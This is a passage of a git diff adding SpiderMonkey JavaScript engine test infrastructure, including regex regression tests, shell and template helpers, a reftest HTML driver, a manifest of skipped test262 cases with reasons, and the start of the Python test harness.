+reportCompare(["a", ""].toSource(), toSource(/((?:.)*?)a/.exec("a")));
+reportCompare(["a", ""].toSource(), toSource(/a((?:.)*)/.exec("a")));
+
+reportCompare(["B", "B"].toSource(), toSource(/([A-Z])/.exec("fooBar")));
+
+// These just mustn't crash. See bug 872971
+try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {}
+// Same for these. See bug 813366
+try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {}
+try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {}
diff --git a/js/src/tests/js1_8_5/regress/shell.js b/js/src/tests/js1_8_5/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/shell.js
diff --git a/js/src/tests/js1_8_5/shell.js b/js/src/tests/js1_8_5/shell.js
new file mode 100644
index 000000000..8e67562f1
--- /dev/null
+++ b/js/src/tests/js1_8_5/shell.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Note, copied from elsewhere
+if (typeof assertThrowsInstanceOf === 'undefined') {
+ var assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+}
+
+// NOTE: This only turns on 1.8.5 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js (which only turns on 1.8, the most
+// the browser supports).
+if (typeof version != 'undefined')
+{
+ version(185);
+}
+
diff --git a/js/src/tests/js1_8_5/template.js b/js/src/tests/js1_8_5/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_8_5/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/jsreftest.html b/js/src/tests/jsreftest.html
new file mode 100644
index 000000000..91b55403b
--- /dev/null
+++ b/js/src/tests/jsreftest.html
@@ -0,0 +1,23 @@
+<html class="reftest-wait">
+ <head>
+ <title>JavaScript Test Driver - reftests</title>
+ <!--
+ This test driver is to be invoked using
+ jsreftest.html?test=path-to-test-js
+
+ It will load the associated test javascript file
+ using the default script language attributes, then execute the
+ test.
+ -->
+ </head>
+ <body>
+ <!--
+ print() appends div-element children to this, so this div must appear
+ before all script elements.
+ -->
+ <div id="jsreftest-print-output-container"></div>
+
+ <script type="text/javascript" src="shell.js"></script>
+ <script type="text/javascript" src="browser.js"></script>
+ </body>
+</html>
diff --git a/js/src/tests/jstests.list b/js/src/tests/jstests.list
new file mode 100644
index 000000000..a0f2f08bd
--- /dev/null
+++ b/js/src/tests/jstests.list
@@ -0,0 +1,399 @@
+# Manifest entries for imported test suites whose individual test cases
+# we don't want to change.
+
+skip-if(!this.hasOwnProperty("Intl")) include test262/intl402/jstests.list # Intl is not enabled in all builds
+skip script ecma_6/String/normalize-generateddata-input.js # input data for other test
+
+###################################################
+# Test262 tests skipped due to SpiderMonkey fixes #
+###################################################
+
+# These tests assert that function.length is non-configurable. It was
+# non-configurable in ES5, but ES6 changes this and we have implemented the
+# newer standard (bug 911142).
+skip script test262/intl402/ch13/13.1/13.1.1_L15.js
+skip script test262/intl402/ch13/13.2/13.2.1_L15.js
+skip script test262/intl402/ch13/13.3/13.3.1_L15.js
+skip script test262/intl402/ch13/13.3/13.3.2_L15.js
+skip script test262/intl402/ch13/13.3/13.3.3_L15.js
+skip script test262/intl402/ch10/10.2/10.2.2_L15.js
+skip script test262/intl402/ch10/10.3/10.3.2_1_a_L15.js
+skip script test262/intl402/ch10/10.3/10.3.3_L15.js
+skip script test262/intl402/ch10/10.3/10.3.2_L15.js
+skip script test262/intl402/ch10/10.1/10.1_L15.js
+skip script test262/intl402/ch11/11.2/11.2.2_L15.js
+skip script test262/intl402/ch11/11.1/11.1_L15.js
+skip script test262/intl402/ch11/11.3/11.3.3_L15.js
+skip script test262/intl402/ch11/11.3/11.3.2_L15.js
+skip script test262/intl402/ch11/11.3/11.3.2_1_a_L15.js
+skip script test262/intl402/ch12/12.3/12.3.3_L15.js
+skip script test262/intl402/ch12/12.3/12.3.2_L15.js
+skip script test262/intl402/ch12/12.3/12.3.2_1_a_L15.js
+skip script test262/intl402/ch12/12.1/12.1_L15.js
+skip script test262/intl402/ch12/12.2/12.2.2_L15.js
+skip script test262/ch13/13.2/13.2-15-1.js
+skip script test262/ch11/11.4/11.4.1/11.4.1-5-a-28-s.js
+
+# ECMA-402 1st ed. required |timeZoneName: undefined|, but newer versions have
+# changed it to being the default time zone, cf. the NOTE in
+# Intl.DateTimeFormat.prototype.resolvedOptions().
+skip script test262/intl402/ch12/12.3/12.3.3.js
+
+# ECMA-262 6th ed. used Unicode 5.1, but we're now supporting Unicode 9.0.
+# Disable tests which require Unicode 5.1 semantics, or more specific disable
+# tests which expect that U+180E is a white space character.
+skip script test262/ch09/9.3/9.3.1/S9.3.1_A2.js
+skip script test262/ch09/9.3/9.3.1/S9.3.1_A3_T2.js
+skip script test262/ch09/9.3/9.3.1/S9.3.1_A3_T1.js
+
+#######################################################################
+# Tests disabled due to jstest limitations wrt imported test262 tests #
+#######################################################################
+
+# These tests are disabled because jstest doesn't understand @negative (without
+# a pattern) yet.
+skip script test262/ch07/7.2/S7.2_A5_T1.js
+skip script test262/ch07/7.2/S7.2_A5_T2.js
+skip script test262/ch07/7.2/S7.2_A5_T3.js
+skip script test262/ch07/7.2/S7.2_A5_T4.js
+skip script test262/ch07/7.2/S7.2_A5_T5.js
+skip script test262/ch07/7.3/S7.3_A2.1_T1.js
+skip script test262/ch07/7.3/S7.3_A2.1_T2.js
+skip script test262/ch07/7.3/S7.3_A2.2_T1.js
+skip script test262/ch07/7.3/S7.3_A2.2_T2.js
+skip script test262/ch07/7.3/S7.3_A2.3.js
+skip script test262/ch07/7.3/S7.3_A2.4.js
+skip script test262/ch07/7.3/S7.3_A3.1_T1.js
+skip script test262/ch07/7.3/S7.3_A3.1_T2.js
+skip script test262/ch07/7.3/S7.3_A3.1_T3.js
+skip script test262/ch07/7.3/S7.3_A3.2_T1.js
+skip script test262/ch07/7.3/S7.3_A3.2_T2.js
+skip script test262/ch07/7.3/S7.3_A3.2_T3.js
+skip script test262/ch07/7.3/S7.3_A3.3_T1.js
+skip script test262/ch07/7.3/S7.3_A3.3_T2.js
+skip script test262/ch07/7.3/S7.3_A3.4_T1.js
+skip script test262/ch07/7.3/S7.3_A3.4_T2.js
+skip script test262/ch07/7.3/S7.3_A6_T1.js
+skip script test262/ch07/7.3/S7.3_A6_T2.js
+skip script test262/ch07/7.3/S7.3_A6_T3.js
+skip script test262/ch07/7.3/S7.3_A6_T4.js
+skip script test262/ch07/7.4/S7.4_A2_T2.js
+skip script test262/ch07/7.4/S7.4_A3.js
+skip script test262/ch07/7.4/S7.4_A4_T1.js
+skip script test262/ch07/7.4/S7.4_A4_T4.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.1.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.2.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.3.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.4.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.5.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.6.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.7.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.8.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.9.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.10.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.11.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.12.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.13.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.14.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.15.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.16.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.17.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.18.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.19.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.20.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.21.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.22.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.23.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.24.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.25.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.5.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.6.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.7.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.9.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.10.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.11.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.16.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26.js
+skip script test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.27.js
+skip script test262/ch07/7.6/7.6.1/S7.6.1_A1.1.js
+skip script test262/ch07/7.6/7.6.1/S7.6.1_A1.2.js
+skip script test262/ch07/7.6/7.6.1/S7.6.1_A1.3.js
+skip script test262/ch07/7.7/S7.7_A2_T1.js
+skip script test262/ch07/7.7/S7.7_A2_T2.js
+skip script test262/ch07/7.7/S7.7_A2_T3.js
+skip script test262/ch07/7.7/S7.7_A2_T4.js
+skip script test262/ch07/7.7/S7.7_A2_T5.js
+skip script test262/ch07/7.7/S7.7_A2_T6.js
+skip script test262/ch07/7.7/S7.7_A2_T7.js
+skip script test262/ch07/7.7/S7.7_A2_T8.js
+skip script test262/ch07/7.7/S7.7_A2_T9.js
+skip script test262/ch07/7.7/S7.7_A2_T10.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T1.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T2.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T3.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T4.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T5.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T6.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T7.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A4.1_T8.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T1.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T2.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T1.js
+skip script test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T4.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T1.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T2.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T3.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T4.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T5.js
+skip script test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T6.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T2.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T3.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T4.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T3.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T3.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T2.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T3.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T1.js
+skip script test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T3.js
+skip script test262/ch07/7.9/7.9.2/S7.9.2_A1_T1.js
+skip script test262/ch07/7.9/7.9.2/S7.9.2_A1_T3.js
+skip script test262/ch07/7.9/7.9.2/S7.9.2_A1_T6.js
+skip script test262/ch07/7.9/S7.9_A10_T2.js
+skip script test262/ch07/7.9/S7.9_A10_T4.js
+skip script test262/ch07/7.9/S7.9_A10_T6.js
+skip script test262/ch07/7.9/S7.9_A10_T8.js
+skip script test262/ch07/7.9/S7.9_A11_T4.js
+skip script test262/ch07/7.9/S7.9_A11_T8.js
+skip script test262/ch07/7.9/S7.9_A4.js
+skip script test262/ch07/7.9/S7.9_A5.1_T1.js
+skip script test262/ch07/7.9/S7.9_A5.3_T1.js
+skip script test262/ch07/7.9/S7.9_A5.7_T1.js
+skip script test262/ch07/7.9/S7.9_A6.2_T1.js
+skip script test262/ch07/7.9/S7.9_A6.2_T2.js
+skip script test262/ch07/7.9/S7.9_A6.2_T3.js
+skip script test262/ch07/7.9/S7.9_A6.2_T4.js
+skip script test262/ch07/7.9/S7.9_A6.2_T5.js
+skip script test262/ch07/7.9/S7.9_A6.2_T6.js
+skip script test262/ch07/7.9/S7.9_A6.2_T7.js
+skip script test262/ch07/7.9/S7.9_A6.2_T8.js
+skip script test262/ch07/7.9/S7.9_A6.2_T9.js
+skip script test262/ch07/7.9/S7.9_A6.2_T10.js
+skip script test262/ch07/7.9/S7.9_A6.3_T1.js
+skip script test262/ch07/7.9/S7.9_A6.3_T2.js
+skip script test262/ch07/7.9/S7.9_A6.3_T3.js
+skip script test262/ch07/7.9/S7.9_A6.3_T4.js
+skip script test262/ch07/7.9/S7.9_A6.3_T5.js
+skip script test262/ch07/7.9/S7.9_A6.3_T6.js
+skip script test262/ch07/7.9/S7.9_A6.3_T7.js
+skip script test262/ch07/7.9/S7.9_A6.4_T1.js
+skip script test262/ch07/7.9/S7.9_A6.4_T2.js
+skip script test262/ch07/7.9/S7.9_A7_T7.js
+skip script test262/ch07/7.9/S7.9_A9_T6.js
+skip script test262/ch07/7.9/S7.9_A9_T7.js
+skip script test262/ch07/7.9/S7.9_A9_T8.js
+skip script test262/ch08/8.2/S8.2_A2.js
+skip script test262/ch08/8.3/S8.3_A2.1.js
+skip script test262/ch08/8.3/S8.3_A2.2.js
+skip script test262/ch08/8.4/S8.4_A13_T1.js
+skip script test262/ch08/8.4/S8.4_A13_T2.js
+skip script test262/ch08/8.4/S8.4_A13_T3.js
+skip script test262/ch08/8.4/S8.4_A14_T1.js
+skip script test262/ch08/8.4/S8.4_A14_T2.js
+skip script test262/ch08/8.4/S8.4_A14_T3.js
+skip script test262/ch08/8.4/S8.4_A7.1.js
+skip script test262/ch08/8.4/S8.4_A7.2.js
+skip script test262/ch08/8.4/S8.4_A7.3.js
+skip script test262/ch08/8.4/S8.4_A7.4.js
+skip script test262/ch08/8.6/8.6.2/S8.6.2_A7.js
+skip script test262/ch08/8.7/S8.7.2_A1_T1.js
+skip script test262/ch08/8.7/S8.7.2_A1_T2.js
+skip script test262/ch11/11.1/11.1.1/S11.1.1_A1.js
+skip script test262/ch11/11.2/11.2.4/S11.2.4_A1.3_T1.js
+skip script test262/ch11/11.3/11.3.1/11.3.1-2-1gs.js
+skip script test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T1.js
+skip script test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T2.js
+skip script test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T3.js
+skip script test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T4.js
+skip script test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T3.js
+skip script test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T1.js
+skip script test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T2.js
+skip script test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T3.js
+skip script test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T4.js
+skip script test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T3.js
+skip script test262/ch11/11.4/11.4.1/11.4.1-5-a-5gs.js
+skip script test262/ch11/11.4/11.4.2/S11.4.2_A2_T2.js
+skip script test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T3.js
+skip script test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T3.js
+skip script test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T3.js
+skip script test262/ch11/11.13/11.13.2/11.13.2-6-1gs.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T1.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T2.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T3.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T4.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T5.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T6.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T7.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T8.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T9.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T10.js
+skip script test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T11.js
+skip script test262/ch12/12.1/S12.1_A4_T1.js
+skip script test262/ch12/12.1/S12.1_A4_T2.js
+skip script test262/ch12/12.2/S12.2_A8_T1.js
+skip script test262/ch12/12.2/S12.2_A8_T2.js
+skip script test262/ch12/12.2/S12.2_A8_T3.js
+skip script test262/ch12/12.2/S12.2_A8_T4.js
+skip script test262/ch12/12.2/S12.2_A8_T5.js
+skip script test262/ch12/12.2/S12.2_A8_T6.js
+skip script test262/ch12/12.2/S12.2_A8_T7.js
+skip script test262/ch12/12.2/S12.2_A8_T8.js
+skip script test262/ch12/12.4/S12.4_A1.js
+skip script test262/ch12/12.5/S12.5_A2.js
+skip script test262/ch12/12.5/S12.5_A6_T1.js
+skip script test262/ch12/12.5/S12.5_A6_T2.js
+skip script test262/ch12/12.5/S12.5_A8.js
+skip script test262/ch12/12.5/S12.5_A11.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T1.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T2.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T3.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T4.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T5.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A6_T6.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A12.js
+skip script test262/ch12/12.6/12.6.1/S12.6.1_A15.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A15.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T1.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T2.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T3.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T4.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T5.js
+skip script test262/ch12/12.6/12.6.2/S12.6.2_A6_T6.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T3.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A11_T3.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T3.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A12_T3.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A4.1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A4_T1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A4_T2.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T2.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A7_T1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A7_T2.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T2.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T3.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8_T1.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8_T2.js
+skip script test262/ch12/12.6/12.6.3/S12.6.3_A8_T3.js
+skip script test262/ch12/12.6/12.6.4/S12.6.4_A15.js
+skip script test262/ch12/12.7/S12.7_A1_T1.js
+skip script test262/ch12/12.7/S12.7_A1_T2.js
+skip script test262/ch12/12.7/S12.7_A1_T3.js
+skip script test262/ch12/12.7/S12.7_A1_T4.js
+skip script test262/ch12/12.7/S12.7_A5_T1.js
+skip script test262/ch12/12.7/S12.7_A5_T2.js
+skip script test262/ch12/12.7/S12.7_A5_T3.js
+skip script test262/ch12/12.7/S12.7_A6.js
+skip script test262/ch12/12.7/S12.7_A8_T1.js
+skip script test262/ch12/12.7/S12.7_A8_T2.js
+skip script test262/ch12/12.8/S12.8_A1_T1.js
+skip script test262/ch12/12.8/S12.8_A1_T2.js
+skip script test262/ch12/12.8/S12.8_A1_T3.js
+skip script test262/ch12/12.8/S12.8_A1_T4.js
+skip script test262/ch12/12.8/S12.8_A5_T1.js
+skip script test262/ch12/12.8/S12.8_A5_T2.js
+skip script test262/ch12/12.8/S12.8_A5_T3.js
+skip script test262/ch12/12.8/S12.8_A6.js
+skip script test262/ch12/12.8/S12.8_A8_T1.js
+skip script test262/ch12/12.8/S12.8_A8_T2.js
+skip script test262/ch12/12.9/S12.9_A1_T1.js
+skip script test262/ch12/12.9/S12.9_A1_T2.js
+skip script test262/ch12/12.9/S12.9_A1_T3.js
+skip script test262/ch12/12.9/S12.9_A1_T4.js
+skip script test262/ch12/12.9/S12.9_A1_T5.js
+skip script test262/ch12/12.9/S12.9_A1_T6.js
+skip script test262/ch12/12.9/S12.9_A1_T7.js
+skip script test262/ch12/12.9/S12.9_A1_T8.js
+skip script test262/ch12/12.9/S12.9_A1_T9.js
+skip script test262/ch12/12.9/S12.9_A1_T10.js
+skip script test262/ch12/12.11/S12.11_A2_T1.js
+skip script test262/ch12/12.11/S12.11_A3_T1.js
+skip script test262/ch12/12.11/S12.11_A3_T2.js
+skip script test262/ch12/12.11/S12.11_A3_T3.js
+skip script test262/ch12/12.11/S12.11_A3_T4.js
+skip script test262/ch12/12.11/S12.11_A3_T5.js
+skip script test262/ch12/12.13/S12.13_A1.js
+skip script test262/ch12/12.14/S12.14_A16_T1.js
+skip script test262/ch12/12.14/S12.14_A16_T2.js
+skip script test262/ch12/12.14/S12.14_A16_T3.js
+skip script test262/ch12/12.14/S12.14_A16_T4.js
+skip script test262/ch12/12.14/S12.14_A16_T5.js
+skip script test262/ch12/12.14/S12.14_A16_T6.js
+skip script test262/ch12/12.14/S12.14_A16_T7.js
+skip script test262/ch12/12.14/S12.14_A16_T8.js
+skip script test262/ch12/12.14/S12.14_A16_T9.js
+skip script test262/ch12/12.14/S12.14_A16_T10.js
+skip script test262/ch12/12.14/S12.14_A16_T11.js
+skip script test262/ch12/12.14/S12.14_A16_T12.js
+skip script test262/ch12/12.14/S12.14_A16_T13.js
+skip script test262/ch12/12.14/S12.14_A16_T14.js
+skip script test262/ch12/12.14/S12.14_A16_T15.js
+skip script test262/ch13/13.0/S13_A7_T3.js
+
+# These tests are disabled because jstest doesn't understand @negative with a
+# pattern yet.
+skip script test262/ch07/7.6/7.6.1/7.6.1.2-1gs.js
+skip script test262/ch07/7.8/7.8.3/7.8.3-1gs.js
+skip script test262/ch07/7.8/7.8.3/7.8.3-2gs.js
+skip script test262/ch07/7.8/7.8.3/7.8.3-3gs.js
+skip script test262/ch07/7.8/7.8.4/7.8.4-1gs.js
+skip script test262/ch07/7.8/7.8.5/7.8.5-1gs.js
+skip script test262/ch08/8.7/8.7.2/8.7.2-3-a-1gs.js
+skip script test262/ch08/8.7/8.7.2/8.7.2-3-a-2gs.js
+skip script test262/ch10/10.1/10.1.1/10.1.1-2gs.js
+skip script test262/ch10/10.1/10.1.1/10.1.1-5gs.js
+skip script test262/ch10/10.1/10.1.1/10.1.1-8gs.js
+skip script test262/ch10/10.4/10.4.2/10.4.2.1-1gs.js
+skip script test262/ch10/10.5/10.5-1gs.js
+skip script test262/ch10/10.6/10.6-2gs.js
+skip script test262/ch11/11.1/11.1.5/11.1.5-1gs.js
+skip script test262/ch11/11.1/11.1.5/11.1.5-2gs.js
+skip script test262/ch11/11.4/11.4.5/11.4.5-2-2gs.js
+skip script test262/ch11/11.13/11.13.1/11.13.1-4-28gs.js
+skip script test262/ch11/11.13/11.13.1/11.13.1-4-29gs.js
+skip script test262/ch12/12.2/12.2.1/12.2.1-1gs.js
+skip script test262/ch12/12.2/12.2.1/12.2.1-4gs.js
+skip script test262/ch12/12.10/12.10.1/12.10.1-11gs.js
+skip script test262/ch12/12.14/12.14.1/12.14.1-1gs.js
+skip script test262/ch13/13.0/13.0_4-5gs.js
+skip script test262/ch13/13.0/13.0_4-17gs.js
+skip script test262/ch13/13.1/13.1-1gs.js
+skip script test262/ch13/13.1/13.1-4gs.js
+skip script test262/ch13/13.1/13.1-5gs.js
+skip script test262/ch13/13.1/13.1-8gs.js
+skip script test262/ch13/13.1/13.1-13gs.js
+skip script test262/ch13/13.2/13.2-19-b-3gs.js
+skip script test262/ch14/14.1/14.1-4gs.js
+skip script test262/ch14/14.1/14.1-5gs.js
diff --git a/js/src/tests/jstests.py b/js/src/tests/jstests.py
new file mode 100755
index 000000000..6cd92a5e0
--- /dev/null
+++ b/js/src/tests/jstests.py
@@ -0,0 +1,382 @@
+#!/usr/bin/env python
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+"""
+The JS Shell Test Harness.
+
+See the adjacent README.txt for more details.
+"""
+
+from __future__ import print_function
+
+import os, sys, textwrap, platform
+from os.path import abspath, dirname, isfile, realpath
+from contextlib import contextmanager
+from copy import copy
+from subprocess import list2cmdline, call
+
+from lib.tests import RefTestCase, get_jitflags, get_cpu_count, \
